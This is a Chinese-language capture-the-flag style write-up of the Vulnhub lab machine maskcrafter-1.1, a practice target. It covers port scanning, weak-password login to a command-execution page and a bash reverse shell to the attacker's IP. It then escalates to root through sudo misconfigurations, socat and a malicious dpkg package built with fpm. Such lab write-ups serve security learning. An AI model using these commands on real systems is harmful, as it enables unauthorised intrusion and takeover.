首页 > 其他分享 >Vulnhub:maskcrafter-1.1靶机

Vulnhub:maskcrafter-1.1靶机

时间:2023-02-12 15:56:43浏览次数:51  
标签:bin 1.1 sudo 192.168 gtfobins sh maskcrafter Vulnhub bash

kali:192.168.111.111

靶机:192.168.111.187

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.187

image

ftp匿名登陆发现两个文件

ftp 192.168.111.187

image

NOTES.txt提示存在用户名admin

image

cred.zip需要密码

image

目录爆破发现debug目录

image

漏洞利用

访问debug目录,使用弱口令:admin|admin登录后发现可以执行命令

image

使用burp抓包替换执行的命令为反弹shell,反弹shell需要url编码后才能执行

bash -c 'exec bash -i >& /dev/tcp/192.168.111.111/4444 0>&1'

image

提权

查看/var/www/html/db.php获得mysql数据库账号密码

image

使用账号密码:web|P@ssw0rdweb,登录mysql查看mydatabase数据库中的creds表获得cred.zip压缩包的密码

mysql -uweb -pP@ssw0rdweb

image

解压后获得userx用户的密码

image

userx用户sudo -l

image

修改/scripts/whatsmyid.sh内容为

#!/bin/bash
/bin/bash

image

执行脚本后切换到evdaez用户

sudo -u evdaez /scripts/whatsmyid.sh

evdaez用户sudo -l

image

提权方法:https://gtfobins.github.io/gtfobins/socat/#sudo,执行命令后切换到用户researcherx

sudo -u researcherx socat stdin exec:/bin/sh

image

researcherx用户sudo -l

image

提权方法:https://gtfobins.github.io/gtfobins/dpkg/#sudo

image

先安装fpm,安装方法:https://fpm.readthedocs.io/en/latest/installation.html

image

安装好fpm后在kali上运行以下命令,运行之后会生成x_1.0_all.deb软件包

TF=$(mktemp -d)
echo 'exec /bin/sh' > $TF/x.sh
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF

image

本地用python开启http服务

python3 -m http.server

靶机上使用wget下载x_1.0_all.deb软件包

image

之后安装该软件包提升到root权限

sudo -u root dpkg -i x_1.0_all.deb

image

获得flag

image

标签:bin,1.1,sudo,192.168,gtfobins,sh,maskcrafter,Vulnhub,bash
From: https://www.cnblogs.com/ctostm/p/17113923.html

相关文章